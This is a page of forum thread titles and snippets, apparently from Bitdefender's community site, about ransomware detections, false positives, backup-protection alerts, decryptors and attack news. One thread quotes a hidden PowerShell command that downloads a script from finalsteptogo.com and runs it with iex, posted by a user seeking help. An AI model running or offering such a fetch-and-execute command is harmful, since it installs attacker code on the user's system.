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Unknown Ransomware Test
Hi, The PC Security Channel has once again conducted an Unknown Ransomware test, where Bitdefender did well. Remarkable!
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Where to report Malicious/Harming undetected Files?
Good Evening/Day everyone, I got a Malicious File, its some kind of Ransomware wich deletes allmost all User Files, Removes the Mouse, Restarts the System. It runs via Command Line and got Detected by Advanced Threat Defence i think, but it was not able to prevent it from rendering the Sytem Unusable. There was no…
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Found a weird command in Run program
I just got out of bed and accidentally opened the Window + R command this is what I found COMMAND: powershell.exe -W Hidden -command $url = 'https://finalsteptogo.com/uploads/tr14.txt'; $response = Invoke-WebRequest -Uri $url -UseBasicParsing; $text = $response.Content; iex $text The link leads to this and another link…
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Controlled Folder Access
Whilst running Bitdefender, Windows Defenders "Controlled Folder Access" cannot be used, as Defender Realtime Protection must be enabled, which Bitdefender replaces. This feature would be extremely beneficial for a number of use cases. Would Bitdefender consider implementing such a feature under the Ransomware Protection…
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BD continually detects PUP (Venus.Cynthia. . . . ) in DropBox.cache
Bitdefender Total Security has started continually notifying me of a "Potentially Unwanted Program" in my DropBox.cache\new files directory. Two of the malwares detected are 1) Gen:Application.Venus.Cynthia.Amifl.13buY@am!tBBk and 2) Venus.Cynthia.Donquijote.8auX@aer1sOl . Two of the file names are 1)…
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How to resolve this problem
Hello, Several times a day i receive by notification the message below form Bitfefender. The message is blocked and that's great but I don't like this. I have a Bitdefende Premium and vpn license. The VPN is always on. Can anyone tell me how I can resolve the problem below and where it comes from? Thanks in advantage for…
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GWDNAMOEMIII
Several day's after installing macOS Sonoma 14 this started happening repeatedly : Time Machine Protection Feature: Anti-Ransomware An unauthorized app attempted to access your backups. App: /System/Library/Frameworks/CoreSpotlight.framework/spotlightknowledged We blocked the app to prevent it from altering the content of…
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Adware.JS.Agent.FM - trojan, malware, ransomware - any experiences?
Hi! This morning I did a little research and clicked on a link in Google Web. Immediately I was warned by Bitdefender that this website is infected/malicious. I didn't continue, let Bitdefender take over and closed my browser. Since I adjusted the settings in a way that my browser history is being deleted after I closed…
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How Do I Backup My Mac, When Bitdefender Blocks It?
I received the notification from Bitdefender: "An unauthorized app attempted to access your backups. App: /System/Library/CoreServices/backupd.bundle/Contents/Resources/backupd We blocked the app to prevent it from altering the content of your backups." I have no idea what this app is, how to remove it, and get my backup…
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Decrypting large file (i.e. .MDF, .VHD/VHDx)
Does the free decryptor can decrypt huge files like mdf & how to recover files with the partial encryption?
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Backups Of Ransomware Remediation In Bitdefender Total Security
Hello, I use BitDefender Total Security. I would like to learn more about how BitDefender implements Ransomware Remediation. I read the related part in the PDF guide: https://www.bitdefender.com/consumer/support/user-guides/ And it says: > Bitdefender Ransomware Remediation backs up your files such as documents, pictures,…
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Zepto Ransomeware
Has anyone had any experience with this? About 4 years ago my computer was attacked and all the files renamed as .zepto None of the files with the changed extension can be accessed. Just wondering if there might be a solution or if I've left it too late!
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Bitdefender releases free decryptor for LockerGoga ransomware
According to the Zurich Public Prosecutor’s Office, which also participated in the development of the decryptor along with Europol, the operators of LockerGoga were involved in ransomware attacks against more than 1,800 individuals and institutions in 71 countries, causing more than $100 million in damage.
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Back Up Of Files For Ransomware Remediation. Any Explanation?
I am new to Bitdefender. When I turn on the Ransomware Remediation, does this mean that Bitdefender will back up all of my data files (My Documents, Photos, etc)? If yes, where will these files be stored? If yes, does that mean it is not necessary to keep my Carbonite subscription?
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AISA named Bitdefender a finalist for Cybersecurity Researcher of the Year award
Bitdefender was named a “Finalist” in the category Cybersecurity Researcher of the Year by Australian Information Security Association (AISA) for work helping dismantle #revil and providing a universal #decryptor for thousands of victims. A big congrats to Labs and all those involved!
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Asustor NAS owners hit by DeadBolt ransomware attack
Owners of Asustor NAS drives have woken up to discover that data they believed was safe and sound on their network storage devices has instead been encrypted by ransomware, and that cybercriminals are demanding a ransom. Affected Asustor users have been posting on Asustor's support forum about how they discovered their NAS…
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After updating some of my apps on MAC, I keep losing my Anti-Ransomware/Application Access setup
Hi, After some of my apps being updated on my MAC? I have to re add my Application Access into Anti-Ransomware of Bitdefender Antivirus for MAC. Not all apps have this issue. Word, Excel stays. Microsoft Teams and another app disappears from my whitelist every time, making attachment downloads from chats impossible, until…
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Why this virus is still not detected?
It's widely spread through Discord
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Gravityzone Ransomware protection
Hi, Just looking a quick answer on the Gravityzone Ransomware protection. One of our customers is showing as being hit by ransomware. We've looked at all the Network paths Bitdefender identified, and we can't see any encrypted files, scanned the source devices. We're fairly certain it's some sort of False Positive. The…
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Top 10 Myths and Misconceptions about Ransomware
2021 was “the year of ransomware”. But so were 2017, 2018, 2019, and 2020 – and so far 2022 is not very different. Ransomware is no longer a problem discussed only in the cybersecurity and tech communities – it is now a regular topic in mainstream media headlines and executive board meetings. Head to the link below to…
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suspicious notification to install "Installation file" from "Bitifender SRL" every time I start up
I have been getting this notification for about a week every time I start up my computer. It is asking me to install "Installation File" or installer.exe "from" Bitifender SRL on my computer. When I tried to go to the location of the file, it didn't exist, even when I turned hidden files on. Of course I denied the action…
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Costa Rica: What Happens When an Attack Shuts Down a Country?
For the last few months, the country has been virtually paralyzed by a bloody ongoing cyberwar with the Russia-affiliated Conti ransomware gang, which in mid-April managed to infiltrate 27 government agencies at various levels in the state hierarchy. Among the worst-hit institutions were the Ministry of Finance, the…
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What is Gen:Variant.Tedy.78481 ?
Bitdefender is assigning every c++ compiled .exe file as infected containing Gen:Variant.Tedy.78481
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Malware Posing as Ransomware Responsible for Ukraine Cyberattack
Microsoft has published a more in-depth analysis of the recent Ukraine cyberattack, showing that the destructive malware is more like ransomware and follows a known pattern. Following cyberattacks against Ukrainian government websites of the State Treasury, State Emergency Service, Cabinet of Ministers, Ministry of Foreign…
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Finalsite Ransomware Attack Freezes Thousands of School Websites
A major cyber attack on Finalsite, a leading school platform provider, disrupted thousands of schools worldwide over several days this week. Finalsite offers website, communications, enrollment and marketing platforms to more than 8,000 schools and universities in 115 countries around the world. On Jan. 4, an unexpected…
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Rookie Researcher Finds Potential Ransomware Attack Vector for iPhone
A rookie security researcher claims to have discovered a potential ransomware attack vector for iPhones and iPads that exploits a weakness in Apple’s HomeKit framework. He calls the exploit ‘doorLock’ and says any iPhone or iPad running iOS 14.7 through iOS 15.2 is vulnerable, with older iOS 14 releases likely affected as…
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Fighting REvil: Bitdefender webinar
REvil, the notorious ransomware-as-a-service group, have extorted hundreds of millions of dollars from its victims. However, in the past 6 months, things have started to change for the threat actor group. After vanishing from the internet in July, REvil reemerged in September - only to go dark again in October. What can we…
